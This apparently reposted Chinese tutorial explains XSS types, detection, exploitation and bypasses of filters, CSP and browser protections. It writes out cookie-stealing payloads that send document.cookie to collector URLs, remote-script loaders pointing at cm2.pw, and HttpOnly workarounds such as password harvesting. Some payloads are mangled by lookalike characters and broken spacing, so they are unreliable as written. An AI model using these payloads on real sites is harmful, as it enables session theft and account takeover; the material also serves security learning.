XSS基礎
跨站腳本(英語:Cross-site scripting,通常簡稱為:XSS)是一種網站應用程式的安全漏洞攻擊,是代碼注入的一種,它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響,這類攻擊通常包含了HTML以及用戶端腳本語言,
XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載并執行攻擊者惡意制造的網頁程式,這些惡意網頁程式通常是JavaScript,但實際上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML,攻擊成功后,攻擊者可能得到更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容,
同源策略
同源策略是指在Web瀏覽器中,允許某個網頁腳本訪問另一個網頁的資料,但前提是這兩個網頁必須有相同的URI、主機名和埠號,一旦兩個網站滿足上述條件,這兩個網站就被認定為具有相同來源,此策略可防止某個網頁上的惡意腳本通過該頁面的檔案物件模型訪問另一網頁上的敏感資料,
同源策略對Web應用程式具有特殊意義,因為Web應用程式廣泛依賴于HTTP cookie來維持用戶會話,所以必須將不相關網站嚴格分隔,以防止丟失資料泄露,
值得注意的是同源策略僅適用于腳本,這意味著某網站可以通過相應的HTML標簽訪問不同來源網站上的影像、CSS和動態加載腳本等資源,而跨站請求偽造就是利用同源策略不適用于HTML標簽的缺陷,
舉例:

跨域方法總結
HTML標簽
<’script> 等帶src屬性的標簽都可以跨域加載資源,而不受同源策略的限制,每次加載時都會由瀏覽器發送一次GET請求,通過src屬性加載的資源,瀏覽器會限制JavaScript的權限,使其不能讀寫回傳的內容,
常見標簽:
<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
document.domain
原理:相同主域名不同子域名下的頁面,可以設定document.domain讓它們同域
我們只需要在跨域的兩個頁面中設定document.domain就可以了,修改document.domain的方法只適用于不同子域的框架間的互動,要載入iframe頁面,
例如:
在頁面 http://a.example.com/a.html 設定document.domain
<iframe id = "iframe" src="http://b.example.com/b.html" onload = "test()"></iframe>
<script type="text/javascript">
document.domain = 'example.com';//設定成主域
function test(){
alert(document.getElementById('?iframe').contentWindow);//contentWindow 可取得子視窗的 window 物件
}
</script>
2、在頁面http:// b.example.com/b.html 中設定document.domain
<script type="text/javascript">
document.domain = 'example.com';//在iframe載入這個頁面也設定document.domain,使之與主頁面的document.domain相同
</script>
Window.name
在javascript中,Window 物件表示瀏覽器中打開的視窗,而name屬性可設定或回傳存放視窗的名稱的一個字串,
window.name有一個奇妙的性質,頁面如果設定了window.name,那么在不關閉頁面的情況下,即使進行了頁面跳轉location.href=…,這個window.name還是會保留,
利用window.name的性質,我們可以在iframe中加載一個跨域頁面,
這個頁面載入之后,讓它設定自己的window.name,然后再讓它進行當前頁面的跳轉,跳轉到與iframe外的頁面同域的頁面,此時window.name是不會改變的,
這樣,iframe內外就屬于同一個域了,且window.name還是跨域的頁面所設定的值,
假設我們有3個頁面,
a.com/index.html
a.com/empty.html
b.com/index.html
(1)在a.com/index.html 頁面中嵌入一個iframe,設定src為b.com/index.html
(2)b.com/index.html 載入后,設定window.name,然后再使用location.href='a.com/empty.html’跳轉到與iframe外頁面同域的頁面中,
(3)在a.com/index.html 頁面中,就可以通過$(‘iframe’).contentWindow.name來獲取iframe內頁面a.com/empty.html 的window.name值了,而這個值正是b.com/index.html 設定的,
window.postMessage
window.postMessage(message, targetOrgin)方法是html5新引進的特性,
呼叫postMessage方法的window物件是指要接受訊息的哪一個window物件,該方法的第一個引數message為要發送的訊息,型別只能為字串;第二個引數targetOrgin用來限定接收訊息的那個window物件所在的域,如果不想限定域,可以使用通配符*,
需要接收訊息的window物件,可是通過監聽自身的message時間來獲取傳過來的訊息,訊息內容存盤在該事件物件的data屬性中,
location.hash
location.hash 方式跨域,是子框架具有修改父框架 src 的 hash 值,通過這個屬性進行傳遞資料,且更改 hash 值,頁面不會重繪,但是傳遞的資料的位元組數是有限的,
詳細參考:https://xz.aliyun.com/t/224#toc-3
a.html欲與b.html跨域相互通信,通過中間頁c.html來實作, 三個頁面,不同域之間利用iframe的location.hash傳值,相同域之間直接js訪問來通信,
具體實作步驟:一開始a.html給b.html傳一個hash值,然后b.html收到hash值后,再把hash值傳遞給c.html,最后c.html將結果放到a.html的hash值中,

JSONP跨域
原理:
<script type="text/javascript">
function dosomething(jsondata){
//處理獲得的json資料
}
</script>
<script src="http://haorooms.com/data.php?callback=dosomething"></script>
后臺代碼:
<?php
$callback = $_GET['callback'];//得到回呼函式名
$data = array('a','b','c');//要回傳的資料
echo $callback.'('.json_encode($data).')';//輸出
?>
跨域資源共享(CORS)
原理:服務器設定Access-Control-Allow-Origin HTTP回應頭之后,瀏覽器將會允許跨域請求
CORS是HTML5標準提出的跨域資源共享(Cross Origin Resource Share),支持GET、POST等所有HTTP請求,CORS需要服務器端設定Access-Control-Allow-Origin頭,否則瀏覽器會因為安全策略攔截回傳的資訊,
Access-Control-Allow-Origin: * # 允許所有域名訪問,或者
Access-Control-Allow-Origin: http://a.com # 只允許所有域名訪問
CORS又分為簡單跨域和非簡單跨域請求,有關CORS的詳細介紹請看阮一峰的跨域資源共享 CORS 詳解,里面講解的非常詳細,
CSP-內容安全策略
CSP(Content Security Policy)即內容安全策略,為了緩解很大一部分潛在的跨站腳本問題,瀏覽器的擴展程式系統引入了內容安全策略(CSP)的一般概念,這將引入一些相當嚴格的策略,會使擴展程式在默認情況下更加安全,開發者可以創建并強制應用一些規則,管理網站允許加載的內容,
CSP的實質就是白名單機制,對網站加載或執行的資源進行安全策略的控制,
關于CSP繞過,在下面的XSS Bypass - CSP繞過板塊中有所介紹,
XSS分類及對比
最常見的三種分類:
反射型(非持久型)
存盤型(持久型)
DOM型
反射型
反射型XSS只是簡單的把用戶輸入的資料從服務器反射給用戶瀏覽器,要利用這個漏洞,攻擊者必須以某種方式誘導用戶訪問一個精心設計的URL(惡意鏈接),才能實施攻擊,
舉例來說,當一個網站的代碼中包含類似下面的陳述句,
<?php echo "<p>hello,$_GET['user']</p>"; ?>
那么在訪問時設定
xxxxxx/?user=</p><script>alert("hack")</script><p>
,則可執行預設好的JavaScript代碼,
漏洞成因
? 當用戶的輸入或者一些用戶可控引數未經處理地輸出到頁面上,就容易產生XSS漏洞,主要場景有以下幾種:
1、將不可信資料插入到HTML標簽之間時,例如DIV, P, TD;
2、將不可信資料插入到HTML屬性里時,形如:
<div width=$INPUT> …content… </div>
3、將不可信資料插入到SCRIPT里時,如下:
<script>
var message = ” $INPUT “;
</script>
4、還有插入到Style屬性里的情況,同樣具有一定的危害性
<span style=” property : $INPUT ”> … </span>
5、將不可信資料插入到HTML URL里時,形如:
<a href=”http://www.abcd.com?param= $INPUT ”> Link Content </a>
6、使用富文本時,沒有使用XSS規則引擎進行編碼過濾,
對于以上的幾個場景,若服務端沒有做好防范措施,就會出現漏洞隱患,
利用方式
反射型攻擊流程:

反射型XSS通常出現在搜索等功能中,需要被攻擊者點擊對應的鏈接才能觸發,且受到XSS Auditor(chrome內置的XSS保護)、NoScript等防御手段的影響較大,所以它的危害性較存盤型要小,
那么如果想要擴大反射型XSS的影響,就要想辦法轉化為持久型,或者使攻擊持久化,以下是幾種方法的介紹:
ClickJacking
簡單來說ClickJacking大致是這么回事:
表現為點擊某個鏈接或button時,實際上是點擊到別的地方去了(劫持鏈接)
不一定需要javascript,所以noscript也擋不住,但是如果有javascript會讓事情更簡單
攻擊是基于DHTML的
需要攻擊者一定程度上控制頁面
所以,我們只要將用戶的點擊劫持到我們的鏈接上去就行了,而且ClickJacking是可以跨域的,
具體實體可以通過google找到,
基于Cross Iframe Trick的XSS
結合Cross Frame Script (跨框架腳本) 攻擊,XSS能夠做到以下幾點:
跨域執行腳本(IE、Firefox)
把非持久性XSS變成持久性XSS
跨頁面執行腳本
瀏覽器將很難修補這一“特性”造成的威脅
具體細節請參考:source
存盤型
存盤型(或 HTML 注入型/持久型)XSS 攻擊最常發生在由社區內容驅動的網站或 Web 郵件網站,不需要特制的鏈接來執行,黑客僅僅需要提交 XSS 漏洞利用代碼(反射型xss通常只在url中)到一個網站上其他用戶可能訪問的地方,這些地區可能是博客評論,用戶評論,留言板,聊天室,HTML 電子郵件,wikis,和其他的許多地方,一旦用戶訪問受感染的頁,執行是自動的,
漏洞成因
存盤型XSS漏洞的成因與反射型的根源類似,不同的是惡意代碼會被保存在服務器中,導致其它用戶(前端)和管理員(前后端)在訪問資源時執行了惡意代碼,
利用方式
持續性的 XSS(即存盤型) 的危險性比非持久性高,因為用戶沒有辦法保護自己,一旦黑客成功在某個頁面注入了漏洞利用代碼,他將宣傳受感染頁面的 URL 來希望不知情的用戶中招,即使用戶對非持續性 XSS 的 URL 懂得識別,也會很容易的受到影響,
存盤型攻擊流程:

DOM型
通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS
例如這么一個頁面:
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
在這段代碼中,submit按鈕的onclick事件呼叫了xsstest()函式,而在xsstest()中,修改了頁面的DOM節點,通過innerHTML把一段用戶資料當作HTML寫入到頁面中,造成了DOM Based XSS,
當用戶輸入: x’ οnerrοr=’javascript:alert(/xss/) ,代碼就變成了:
<img src='x' onerror='javascript:alert(/xss/)'></img>
最后腳本被執行,出現彈窗,
前面兩種惡意腳本都會經過服務器端然后回傳給客戶端,相對DOM型來說比較好檢測與防御,而DOM型不用將惡意腳本傳輸到服務器在回傳客戶端,即DOM型XSS一般和服務器的決議回應沒有直接的關系,而是在JavaScript腳本動態執行的程序中產生的,
兩個典型的DOM程序
1)反射型DOM base XSS

2)存盤型DOM base XSS

DOM XSS的利用
確定基于DOM型的XSS漏洞,一種有效的方法是,檢查所有客戶端JavaScript,看其中是否使用任何可能會導致漏洞的DOM屬性,
檢查每一段客戶端JavaScript,看其中是否出現以下API,它們可用于訪問通過一個專門設計的URL控制的DOM資料;
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
在每一個使用上述API的位置,仔細檢查那里的代碼,確定應用程式如何處理用戶可控的資料;以及是否可以使用專門設計的輸入來執行JavaScript,
尤其注意檢查并測驗控制的資料被傳送至以下任何一個API的情況:
document.write()
document.writeln()
document.body.innerHtml eval()
window.execScript()
window.setInterval()
window.setTimeout()
其它型別
’
mXSS
mXSS中文是突變型XSS,指的是原先的Payload提交是無害不會產生XSS,而由于一些特殊原因,如反編碼等,導致Payload發生變異,導致的XSS,
mXSS圖解:

其中由于innerHTML會將HTML物體,CSS轉義字符,ANSI編碼等進行反轉義,因此原來被轉義之后認為安全的用戶輸入很有可能在繞過過濾器之后被反轉回去,
下面的漏洞是存在于以前版本的PC的QQ客戶端的頁面預覽功能,

這是博客園提交的一篇文章,可以看到,提交的XSS Payload已經被轉義了,不產生危害,


上圖是在QQ客戶端里分享上面的博客園那篇文章的鏈接,而QQ存在網址預覽功能,于是點擊網址可以在右側顯示出優化后的頁面的內容,就導致了XSS的產生;這個預覽功能實際上是QQ客戶端內嵌了一個網頁,這個頁面對原網頁內容進行提取和處理的程序中,將原本無害的XSS Payload進行了轉碼操作,于是導致了Payload 變異而產生了XSS,
uXSS
UXSS全稱Universal Cross-Site Scripting,翻譯過來就是通用型XSS,也叫Universal XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊型別,UXSS 可以理解為Bypass 同源策略,
常見的XSS攻擊的是因為客戶端或服務端的代碼開發不嚴謹等問題而存在漏洞的目標網站或者應用程式,這些攻擊的先決條件是頁面存在漏洞,而它們的影響往往也圍繞著漏洞頁面本身的用戶會話,換句話說,因為瀏覽器的安全功能的影響,XSS攻擊只能讀取受感染的會話,而無法讀取其他的會話資訊,也就是同源策略的影響,
UXSS保留了基本XSS的特點,利用漏洞,執行惡意代碼,但是有一個重要的區別:
不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊型別,
漏洞挖掘/檢測
Fuzzing技術
Fuzzing(模糊測驗)是挖掘漏洞最常用的手段之一,不止是XSS,應該可以說Fuzzing可以用于大部分型別的漏洞挖掘,通俗可以把這種方式理解為不斷嘗試的程序,
Fuzzing流程圖(出處):

XSS fuzzing技術 推薦閱讀:https://www.fooying.com/the-art-of-xss-2-xss-fuzzing/
代碼審計
XSS資料源
即可以由外部(不受信任)源控制的輸入點:
URL
location
location.pathname
location.search
location.hash
document.URL
document.documentURI
document.baseURI
Navigation
window.name
document.referer
Communication
Ajax
Fetch
WebSocket
PostMessage
Storage
Cookie
LocalStorage
SessionStotage
論壇文章:通過代碼審計找出網站中的XSS漏洞實戰
XSS的利用
利用XSS竊取cookie
竊取cookie是xss利用最常見的手段,攻擊者有了cookie就相當于擁有了“管理員”身份,通常需要配合xss平臺來進行攻擊,當被攻擊者訪問到有惡意代碼的頁面,他的cookie就會被發送到xss平臺,
常用獲取cookie的js代碼如下:
<img src="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>
其中本地的XSS_cookie.php中的內容如下:

XSS修改網頁
該利用方式的前提是網站必須存在存盤型xss漏洞,并且會將結果回傳到頁面上,我們可以在原始碼中插入一段js代碼,作用在于獲取網站原始碼中的標簽,然后修改其中的屬性值,達到修改網頁的效果,也可以構造彈窗等誘導被攻擊者輸入賬號密碼等關鍵資訊,
XSS獲取用戶資訊
利用xss除了能夠獲取用戶cookie,還能獲取諸如瀏覽器版本、外網IP地址、瀏覽器安裝的插件型別等資訊,比如alert(navigator.userAgent); 能夠讀取userAgent內容;利用java環境,呼叫java Applet的介面獲取客戶端本地ip等,
XSS+CSRF 組合拳
組合拳思路
存盤型 XSS + CSRF(存盤型 XSS 攻擊代碼中加入 CSRF 代碼鏈接)
存盤型XSS + CSRF
其中存盤型xss payload:
<script src="x" οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>
可知該javascript腳本會打開http://localhost/csrf.html的視窗,我們可以通過csrf利用工具生成隱匿的惡意csrf.html檔案,再通過存盤型xss模擬用戶訪問該頁面,最終達成在用戶不知不覺的情況下執行跨站請求的操作,
盲打XSS(Blind XSS)
成因
常規的XSS攻擊是通過頁面回傳內容中JS攻擊代碼的生效與否來判斷XSS的攻擊是否成功;而對于一些網頁功能,比如反饋,我們可以發現,不管你提交什么內容,回傳的內容都是”感謝您的反饋”類似的陳述句,并不會根據你提交的內容而在頁面中顯示不同的內容,對于這樣的內容提交點,就無法通過頁面反饋判斷攻擊代碼是否注入成功,那么就可以通過XSS盲打,
? Blind XSS 是一種持久型的XSS,依靠目標web頁面的代碼中的漏洞,允許惡意代碼插入到web控制元件中,被服務器存盤到資料庫或者網站設定檔案中,這些惡意代碼將被作為HTML回應頁面的一部分向其他用戶提供服務,而不會被檢測,
常見場景
盲打XSS的常見目標:登錄表單及論壇/留言板
登錄表單經常從網頁接收輸入的用戶名,并將它保存到一個之后可以被查看的日志檔案中,因此,一次在登錄表單的“用戶名”模塊輸入惡意代碼后的失敗的登錄,將會導致服務器將輸入保存到日志中,這樣日志中就將惡意代碼當做“用戶名”保存,攻擊者可以執行一些這樣的登錄嘗試,為了將惡意代碼傳入到日志資料庫中或日志檔案中,當管理員通過web的形式瀏覽日志時,惡意代碼就會被執行,
類似于之前的場景,攻擊者也可以在論壇或留言板的主題標題中插入惡意代碼,服務器通常會將它們提交的資料保存到資料庫中,并且存盤的資訊對其他人可見,比如版主等,
利用
? XSS盲打一般通過XSS盲打平臺,在XSS盲打平臺建立專案,會生成專案攻擊鏈接,實際上就是一個類似JS檔案的訪問鏈接,這個JS檔案中其中至少包含一個功能,那就是向盲打平臺發送GET/POST請求傳輸資料回來,比如Cookie,這樣的話,類似在反饋頁面提交的攻擊代碼一旦生效,就等于JS代碼被執行,那么就會向盲打平臺回傳資料,那就說明攻擊成功了;假如一直沒有回傳資料,那就說明提交的攻擊代碼沒有執行或者執行出問題,也就證明攻擊失敗,
盲打平臺的專案:

開啟HttpOnly下的利用
HttpOnly概念:HttpOnly是Set-Cookie HTTP回應頭中包含的附加標志,生成cookie時使用HttpOnly標志有助于降低客戶端腳本訪問受保護cookie的風險(如果瀏覽器支持它),如果HTTP回應頭中包含HttpOnly標志,客戶端腳本就無法訪問cookie,因此,即使存在跨站點腳本(XSS)缺陷,且用戶意外訪問利用此漏洞的鏈接,瀏覽器也不會向第三方透露cookie,那么我們可以通過XSS直接在源站上完成操作,不直接獲取cookie,
1.phpinfo頁
偽造對方身份訪問同站的phpinfo頁面,因為同域所以通過ajax提交訪問可以讀取到responseText,其中$_SERVER[“HTTP_COOKIE”]會列印出具有httponly屬性的cookies,
優點:成功率很高,最不容易被察覺,也是最常用的一種方式,
缺點:需要phpinfo頁,條件苛刻,
2.框架釣魚
通過標簽嵌入一個遠程域,完全撐開后,以覆寫原有的頁面,
優點:無跳轉,域名無改變,
缺點:通常會覆寫某個正常的頁面,管理員易察覺,
3.跳轉釣魚
通過購買相似域名,構建相同的釣魚頁面,使受害者跳轉至釣魚站,
優點:主動性較強,可主動釣魚,
缺點:成本較高,且由于頁面跳轉過于明顯,所以此方法十分容易被發現,
4.歷史密碼
通過js偽造登錄表單,欺騙瀏覽器自動填入,由此獲取瀏覽器記住的歷史密碼,
優點:不易被發現,可直接獲取明文,成功率較高,
缺點:各內核瀏覽器兼容性不一,最新版google已不支持http協議下的自動填入功能,
5.獲取原始碼
通過xss獲取后端頁面原始碼,常常可以發現一些越權訪問,或者配合CSRF打組合拳去添加新用戶或者執行其他的功能,以及通過審計后臺js發現一些漏洞等,
優點:資訊獲取的比較詳細,也可以獲取到后臺賬號名稱,
缺點:局限性較大,不易于利用,
6.通過xss偽造oauth等授權請求,遠程登錄
推薦閱讀:sourse
Oauth簡介
Oauth這種機制允許第三方獲取用戶賬戶的長期訪問權限,之前已經有攻擊者濫用過該機制,誘騙用戶點擊授權按鈕, 授權第三方應用后,用戶可以為第三方應用提供一個長期可用的令牌,第三方應用可以通過不同方式,利用該令牌訪問用戶賬戶,這是在cookie受保護的情況下,攻擊者能夠長期有效、不受限制、隱蔽地訪問受害者賬戶的方法,
由于我們能以用戶的身份執行一些操作(無cookie情況下),那么只要Oauth的授權頁面與XSS點同源,那么就能以用戶的身份安裝Oauth應用,
其它
xss的利用方式多種多樣,遠不止以上的幾種,比方說還能夠利用XSS+CSRF組合拳來添加管理員、利用html5的canvas來截取客戶的螢屏,還有針對移動端的xss攻擊等,思路有很多,此處便不展開討論了,
網站推薦:http://www.xss-payloads.com/
XSS payload
總結再多不如給個github鏈接[dog]:
PayloadsAllTheThings/XSS Injection
xss-payload-list
XSS Filter Evasion Cheat Sheet | OWASP
以及:
2020年仍然有效的一些XSS Payload
XSS Bypass
常規的繞過
xss繞過防御通過構造特殊的payload來達成目標,方法主要有以下幾種:
轉換大小寫
大小寫混寫
<ImG sRc=x one rror=alert("xss");>
<ImG sRc=x one rror=alert("xss");>
雙引號改單引號
引號改為/,用/代替空格
<img/src="x"/οnerrοr=alert("xss");>
用全角字符
利用link遠程包含js檔案
在無CSP的情況下才可以
<link rel=import href="http://127.0.0.1/1.js">
字符拼接
a.利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
b.利用top
<script>top["al"+"ert"](`xss`);</script>
使用javascript偽協議
使用回車、空格等特殊字符
在css的style中使用/**/注釋符
使用字符編碼
HTML編碼 十六/八進制編碼 base64編碼 ASCII編碼 HEX編碼繞過 Unicode編碼
以下標簽屬性值可以被編碼:
javascript
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
字符集
有時可用一些非標準編碼繞開過濾器
UTF-7、US-ASCII、UTF-16
利用事件觸發xss
以上多數是存在過濾情況下的bypass方法,可以結合XSS payload下的內容一起學習,
長度限制的繞過
1.eval(name)
這可能是一個可以執行任意javascript的最短的有效負載,name屬性可以被分配任何代碼,并且也繼承了跨域,這給了我們一個好處,使我們可以不受任何限制地執行任何payload,除非頁面重寫name,
POC: https://attacker.cm2.pw/?xss=name=“d=document;s=d.createElement(‘script’);s.src=’//cm2.pw’;d.body.appendChild(s)”;open(’//victim.cm2.pw/?xss=
Payload 長度:
‘javascript:eval(name)’.length==21
2.import
這是獲取外部javascript的另一個最短的payload,但是只能在基于Chromium的瀏覽器上作業,
POC:
https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:import(//?.?/))
Payload 長度:
'javascript:import(/\?.?/)'.length==24
3.$.getsc ript
這是一個非常有名的jQuery函式,用來加載外部javascript,在全域背景關系中獲取并執行腳本,就像script標簽加載的一樣,但是,這要求jQuery已經在頁面中加載,
POC:
https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.getsc ript(//cm2.pw/))
Payload 長度:
'javascript:$.getsc ript(/\?.?/)'.length==29
4.$.get
這是另一個jQuery函式,如果回傳的Content型別設定為text/javascript,則該函式可以加載和執行外部ja vasc ript,這實際上是一個僅在jQuery 3.0.0之前能生效的漏洞,
POC:
https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.get(//cm2.pw/))
Payload 長度:
'javascript:$.get(/\?.?/)'.length==23
使用現有元素和/或屬性
找到由用戶部分或完全控制的HTML元素和ja vasc ript屬性值并不罕見,雖然這可能需要花費一些時間,但是當插入的XSS長度受限時,它可以提供巨大的幫助,例如,大多數Ajax驅使應用存盤hash識別符號以便于導航,
如果頁面存盤hash如下;
const hash = document.location.hash;
我們可以用它來加載外部腳本;
eval("'"+hash)
POC:
https://victim.cm2.pw/?xss=const hash=document.location.hash;[Click](https://nosec.org/home/detail/ja vasc ript:eval(`'`%2bhash))#';d=document;s=d.createElement('sc ript');s.src='//cm2.pw';d.body.appendChild(s)
Payload 長度:
`ja vasc ript:eval("'"+hash)`.length==25
還有些無現成案例的繞過方法,可以參考:https://nosec.org/home/detail/2032.html
CSP(內容安全策略)繞過
Content Security Policy (CSP)內容安全策略,是一個附加的安全層,有助于檢測并緩解某些型別的攻擊,包括跨站腳本(XSS)和資料注入攻擊,
CSP的特點就是它是在瀏覽器層面做的防護,是和同源策略同一級別,除非瀏覽器本身出現漏洞,否則不可能從機制上繞過,
CSP只允許被認可的JS塊、JS檔案、CSS等決議,只允許向指定的域發起請求,
利用頁面預加載
瀏覽器為了增強體驗,讓瀏覽器更有效率,就有個預加載的功能,體是利瀏覽器空閑時間去加載指定的內容,然后快取起來,這個技術細分為DNS-prefetch、subresource、prefetch、preconnect、 prerender,HTML5??預加載是?link標簽的rel屬性來指定的,如果csp頭有 unsafe-inline,則?預加載的?式可以向外界發出請求,例如
利用302重定向
利用url跳轉可以回避嚴格的CSP,
在允許unsafe-inline的情況下,可以用window.location,或者window.open之類的方法進行跳轉繞過,
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
在 default-src ‘none’ 的情況下,可以使用 meta 標簽實作跳轉
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
標簽配合站內的某些可控 JS 點擊操作來跳轉
<script> $(#foo).click()</script><a id="foo" href="xxxxx.com">
利用網站本身的跳轉介面
http://foo.com/jmp.php?url=attack.com
利用瀏覽器補全
有些網站限制只有某些腳本才能使用,往往會使用
Content-Security-Policy: default-src ‘none’;script-src ‘nonce-abc’
那么當腳本插入點為如下的情況時
<p>插入點</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
可以插入
<script src=//14.rs a="
這樣會拼成一個新的script標簽,其中的src可以自由設定
<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
MIME Sniff(利用上傳檔案)
舉例來說,csp禁?跨站讀取腳本,但是可以跨站讀img,那么傳?個 含有腳本的img,再
利用iframe標簽
1.如果頁面A中有CSP限制,但是頁面B中沒有,同時A和B同源,那么就可以在A頁面中包含B頁面來繞過CSP:
<iframe src="B"></iframe>
2.在Chrome下,iframe標簽支持csp屬性,這有時候可以用來繞過一些防御,例如http://xxx頁面有個js庫會過濾XSS向量,我們就可以使用csp屬性來禁掉這個js庫,
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
可見繞過CSP的姿勢其實有很多,在不同的情況下有不同的繞過方法,以上只介紹了常見的幾種,
X-XSS-Protection 繞過
xss-protection概念
從IE8 開始,IE 瀏覽器內置了一個針對XSS攻擊的防護機制,這個瀏覽器內置的防護機制就是所謂的XSS filter,這個防護機制主要用于減輕反射型XSS 攻擊帶來的危害,
基于Webkit 內核的瀏覽器(比如Chrome)隨后也增加一個名為XSS auditor 的防護機制,作用和IE中的XSS filter類似,這兩種XSS防護機制的目的都很簡單,如果瀏覽器檢測到了含有惡意代碼的輸入被呈現在HTML檔案中,那么這段呈現的惡意代碼要么被洗掉,要么被轉義,惡意代碼不會被正常的渲染出來,當然了,瀏覽器是否要攔截這段惡意代碼取決于瀏覽器的XSS防護設定,
至于怎么設定瀏覽器的XSS防護機制,其實很簡單,只要在HTTP回應報文的頭部增加一個X-XSS-Protection 欄位,明確地告訴瀏覽器XSS filter/auditor該如何作業, X-XSS-Protection 的欄位有三個可選配置值
0: 表示關閉瀏覽器的XSS防護機制
1:洗掉檢測到的惡意代碼, 如果回應報文中沒有看到X-XSS-Protection 欄位,那么瀏覽器就認為X-XSS-Protection配置為1,這是瀏覽器的默認設定
1; mode=block:如果檢測到惡意代碼,則不渲染惡意代碼
Chrome XSS Auditor - SVG Bypass
原始 PoC :
https://localhost/<svg><script>/<1/>alert(0)</script>
官方給出補丁中的描述對這一漏洞進行了介紹,大意是,當過濾器過濾 script 標簽的內容時,第一個區塊的過濾結果將會影響后續區塊,如果第一個區塊被處理為空時,過濾匹配將會失敗,
詳細參考(漏洞原理分析):soursel
關于更多的Chrome XSS Auditor bypass參考:sourse
NoScript bypass
利用白名單站點的Cross Site Script漏洞
在NoScript安全機制中,因為白名單中的站點是允許在瀏覽器中執行JavaScript腳本的,只要有一個簡單的XSS漏洞就可以了,雖然NoScript本身也提供了cross-sitescript過濾器,但是它并不能完全阻止XSS攻擊,
利用MITM攻擊
我們知道NoScript是通過白名單上的站點來確定哪些網站可以自由執行腳本,也就是說,所有的安全全部依賴于白名單上網站的站點安全,以及該網站所在的內網的安全情況,
那么,只要在內網中欺騙用戶的瀏覽器,就能執行JavaScript腳本,NoScript就能被繞過,
以上兩種方法的實體演示:http://www.mottoin.com/detail/503.html
XSS 平臺和工具
XSS平臺
xss平臺是對xss漏洞進行利用的程式,網上有許多類似的開放平臺,但是想要好的體驗就得自己搭建一個,以下是搭建XSS平臺的參考鏈接:
Xss平臺原始碼——來自論壇
https://github.com/trysec/BlueLotus_XSSReceiver——github
XSS工具
BeEF-XSS
BeEF是一款專注于Web瀏覽器的滲透測驗工具,它內置有許多的payload,其中的XSS模塊功能十分強大,
XSStrike
XSStrike是一個xss檢測工具,配備了四個手工撰寫的決議器、一個智能的payload生成器、一個強大的fuzzing引擎和一個速度很快的爬蟲,XSStrike不像其他工具那樣注入payload并檢查它的作業,而是使用多個決議器分析回應,然后通過與fuzzing引擎集成的背景關系分析來保證有效載荷的作業,
除此之外,XSStrike還具有網頁爬蟲、fuzzing、引數發現和WAF檢測功能,同時能夠掃描DOM XSS漏洞,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/353267.html
標籤:其他
上一篇:java版Spring Cloud+SpringBoot+mybatis+uniapp b2b2c 多商戶入駐商城 直播 電子商務云架構&設計思想
下一篇:用python實作域名資產監控
